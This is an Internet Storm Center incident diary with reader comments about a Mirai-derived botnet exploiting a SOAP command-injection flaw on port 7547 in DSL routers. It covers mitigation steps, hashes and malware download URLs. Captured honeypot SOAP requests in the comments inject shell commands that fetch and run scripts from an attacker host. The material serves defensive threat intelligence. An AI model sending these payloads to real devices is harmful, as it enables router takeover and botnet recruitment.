SANS ISC: Port 7547 SOAP Remote Code Execution Attack Against DSL Modems - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • Computer Forensics
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

[please see our updated article here for a summary of this event]

UPDATE (0830 PST/1630 GMT) - Russ

German Telekom is now offering a firmware update for the affected routers. Details (in German) are here: https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-921v/firmware-zum-speedport-w-921v. Affected user are advised to power off their router and power it on again after 30 seconds. During bootup the router should retrieve the new firmware from the Telekom servers.

Help URL for Detusche Telekom Customers that are affected: https://www.telekom.de/hilfe/hilfe-bei-stoerungen/anschluss-ausfall

Reviewing port 7547 scans with port 443 open results in the exclusive receipt of Zyxel SSL certificates.
depth=0 C = CN, ST = TAIWAN, L = XINZHU, O = ZyXEL, OU = DSL Unit, CN = ZyXEL, emailAddress = support@zyxel.com
It appears they make the vulnerable routers but that they are likely sold under different brands, or distributed by ISPs using their brand.

Be sure to read comments below as well. In particular, Austria is experiencing a strong increase in TR-069 traffic within the last 24 hours. According to Shodan, there are approximately 53,000 devices reachable on Port 7547 in Austria. Most of the traffic we currently see originates from other end-user DSL modems, a lot of it especially from Brazil.

---------------------------------------------------------------------------------------------------------------

Quick Action: If you suspect that you have a vulnerable router, then reboot it, and check if port 7547 is listening after you reboot (if infected, the router will no longer listen). If you can, block port 7547 and update your firmware if there is an update available. A reboot will "clean" the router until it is infected again. But given that the host name used no longer resolved, new infections should stop until the host name is changed again.

Update: Somewhat expected, but with the old host name l.ocalhost.host being taken down, the bot now uses timeserver.host and ntp.timerserver.host . Both resolve to 176.74.176.187 for now (Thanks Franceso). See the addition below for a list of hostnames observed in our honeypots.

For the last couple days, attack against port 7547 have increased substantially. These scans appear to exploit a vulnerability in popular DSL routers. This issue may already have caused severe issues for German ISP Deutsche Telekom and may affect others as well (given that the US is just "waking up" from a long weekend). For Deutsche Telekom, Speedport routers appeared to be the main issue.

According to Shodan,  about 41 Million devices have port 7547 open. The code appears to be derived from Mirai with the additional scan for the SOAP vulnerability. Currently, honeypots see about one request every 5-10 minutes for each target IP.

Thanks to James for sending us one request he intercepted (added line breaks for readability)

• It appears to exploit a common vulnerability in the TR-069 configuration protocol.
• A Metasploit module implementing as exploit for the vulnerability can be found here: https://www.exploit-db.com/exploits/40740/
• The host name used: l.ocalhost.host is NOT localhost ;- ). It currently resolves for me to 212.92.127.146, but others also observed 5.188.232.[1,2,3,4]. Right now, the host name appears to no longer resolve for me on Comcast, but it still resolves on other ISPs that have the data still cached. 
• The file "1" is a MIPS executable. Based on strings, the file includes the SOAP request above, as well as a request to retrieve a file "2" which is an MSB MIPS variant of "1". There is also appears to be a file "3" for ARM.
• again, based on strings, the file enables an IP tables firewall rule for port 7547 to protect the router from additional exploits, and it does kill the telnet server.

Unconfirmed List of vulnerable routers:
- Eir D1000 Wireless Router (rebranded Zyxel Modem used by Irish ISP Eir)
- Speedport Router (Deutsche Telekom) [note that in an article by Comsecuris, at least one model of Speedport router used by Deutsche Telekom was found to be not vulnerable) https://comsecuris.com/blog/posts/were_900k_deutsche_telekom_routers_compromised_by_mirai/

Download URLs

 http://5.8.65.5/1
 http://5.8.65.5/2
 http://l.ocalhost.host/1
 http://l.ocalhost.host/2
 http://l.ocalhost.host/3
 http://l.ocalhost.host/x.sh
 http://p.ocalhost.host/x.sh
 http://timeserver.host/1
 http://ntp.timerserver.host/1
 http://tr069.pw/1 
 http://tr069.pw/2
 

SHA256 Hashes (Files 1-7):

7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2  1
7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2  2
1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf  3
828984d1112f52f7f24bbc2b15d0f4cf2646cd03809e648f0d3121a1bdb83464  4
c597d3b8f61a5b49049006aff5abfe30af06d8979aaaf65454ad2691ef03943b  5
046659391b36a022a48e37bd80ce2c3bd120e3fe786c204128ba32aa8d03a182  6
5d4e46b3510679dc49ce295b7f448cd69e952d80ba1450f6800be074992b07cc  7

File types (again, the file names are 1,2,3,4,5,6,7 )

1: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit LSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB  executable, ARM, version 1, statically linked, stripped
4: ELF 32-bit LSB  executable, Renesas SH, version 1 (SYSV), statically linked, stripped
5: ELF 32-bit MSB  executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
6: ELF 32-bit MSB  executable, SPARC version 1 (SYSV), statically linked, stripped
7: ELF 32-bit MSB  executable, Motorola 68020 - invalid byte order, version 1 (SYSV), statically linked, stripped

Virustotal Link:
https://virustotal.com/en/file/2548d997fcc8f32e2aa9605e730af81dc18a03b2108971147f0d305b845eb03f/analysis/
https://virustotal.com/en/file/97dd9e460f3946eb0b89ae81a0c3890f529ed47f8bd9fd00f161cde2b5903184/analysis/

 

https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/

https://badcyber.com/new-mirai-attack-vector-bot-exploits-a-recently-discovered-router-vulnerability/

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Looks like German Telekom is now rolling out a firmware update for the affected routers. Details (in German) are here:
https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-921v/firmware-zum-speedport-w-921v

Affected useres are advised to power off their router and power it on again after 30 seconds. During bootup the router should retrieve the new firmware from the Telekom servers.

Any hash info of the Bot can share ? Thanks!!!

Looking further to the maybe available file on the host, you can download the following binaries :
1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
SHA256 : 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2 1
2: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
SHA256 : 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2 2
3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
SHA256 : 1fce697993690d41f75e0e6ed522df49d73a038f7e02733ec239c835579c40bf 3
4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
SHA256 : 828984d1112f52f7f24bbc2b15d0f4cf2646cd03809e648f0d3121a1bdb83464 4
5: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
SHA256 : c597d3b8f61a5b49049006aff5abfe30af06d8979aaaf65454ad2691ef03943b 5
6: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
SHA256 : 046659391b36a022a48e37bd80ce2c3bd120e3fe786c204128ba32aa8d03a182 6
7: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
SHA256 : 5d4e46b3510679dc49ce295b7f448cd69e952d80ba1450f6800be074992b07cc 7

Playing further ...

Hi

here l.ocalhost.host resolves with 2 ip-addresses (round robin)

Non-authoritative answer:
Name: l.ocalhost.host
Address: 5.188.232.71
Name: l.ocalhost.host
Address: 212.92.127.146

Both deliver a file 1 with different sha256sums and dates:
100812 Nov 28 2016 1 (5.188.232.71) 7e84a8a74e93e567a6e7f781ab5764fe3bbc12c868b89e5c5c79924d5d5742e2
100812 Nov 26 17:58 1 (212.92.127.146) 2548d997fcc8f32e2aa9605e730af81dc18a03b2108971147f0d305b845eb03f

Best regards

We're also experiencing a strong increase in TR-069 traffic in Austria within the last 24 hours. According to Shodan, there are approx. 53,000 devices reachable on Port 7547 in Austria. Most of the traffic we currently see originates from other end-user DSL modems, a lot of it especially from Brazil.

Just setting-up a few honeypots to collect some requests and additional data..

You mention names in timeserver.host (which exists) and timerserver.host (which doesn't). Typo? Or are these two domains really used?

I noticed this yesterday (2016-11-27), probes started coming in around 15:00 CET. At that time mostly from Brazil and UK.

https://bløgg.no/2016/11/tcp7547-on-the-rise/

It also seems it's alternating between ftp and tftp. These are the three latest attempts from my honeypot.

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>`cd /tmp;ftpget l.ocalhost.host z.sh ftpget.sh;chmod 777 y.sh;./y.sh`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>`cd /tmp;tftp -l y.sh -r tftp.sh -g l.ocalhost.host;chmod 777 y.sh;./y.sh`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Quoting rakoenig:Looks like German Telekom is now rolling out a firmware update for the affected routers. Details (in German) are here:
https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-921v/firmware-zum-speedport-w-921v

Affected useres are advised to power off their router and power it on again after 30 seconds. During bootup the router should retrieve the new firmware from the Telekom servers.

Even olderTelekom Routers like the Speedport W 723V Typ A and B can be updated manually if the automatic service is not available: https://www.telekom.de/hilfe/geraete-zubehoer/router/speedport-w-723v

This same attack is also using port 5555 now.

These domains are not resolving for me:

l.ocalhost.host
p.ocalhost.host
timeserver.host
ntp.timerserver.host

The tr069.pw domain is still resolving though, with addresses: 212.92.127.164 and 5.188.232.141 although these addresses seem to be cached because the actual lookup times out.

We are using SAIX DNS servers: 196.43.54.190 and 196.43.38.190

I fear this is just the first step of the attack.
The Mirai must have known, that the routers just will break down and that the telekom will update or upgrade them.
The next step will be to use this automatic update for own issues.

"It appears to exploit a common vulnerability in the TR-069 configuration protocol."

To clarify, this attack has nothing to do with the TR-069 (CWMP) protocol other than the fact that it uses this port, and is NOT a vulnerability with TR-069. The vulnerable routers have a bad implementation that is responding to an unrelated other web service's commands over the port that should be used only for TR-069.

Did anyone happen to get a copy of the binaries? I'd like to disassemble the ARM or MIPS variant and see what it was built to do. Thanks.

I uploaded some binaries. The zip file is encrypted to avoid triggering anti-virus tools. The password is "infected" . isc.sans.edu/diaryimages/… (password: "infected")

Quoting Johannes:I uploaded some binaries. The zip file is encrypted to avoid triggering anti-virus tools. The password is "infected" . https://isc.sans.edu/diaryimages/miraitr069binaries.zip (password: "infected")

Many thanks! Sorry for the double post above as well. If I find anything interesting I'll post it back here unless there's somewhere else I should post it.

(I deleted the double post).

Feel free to post results here, or if you want me to post it in form of a "diary" , just send it to me via the contact form or email ( jullrich -at- sans -dot- edu )

It looks like the implicated SpeedPort W 921v router is not actually affected by the command injection vulnerability or even running Linux for that matter. Have a look at this: https://comsecuris.com/blog/posts/were_900k_deutsche_telekom_routers_compromised_by_mirai/

On another note however, it is interesting to see that the Mirai binaries are in fact using the default obfuscation key 0xdeadbeef and can be decoded quite easily with something like this: https://gist.github.com/VERTCraig/c3090d7f837aa374dbbe76f921847ad0

Good investigation by Comsecuris. It is very much possible that (if I read the report right) the sheer volume of connections did crash the router.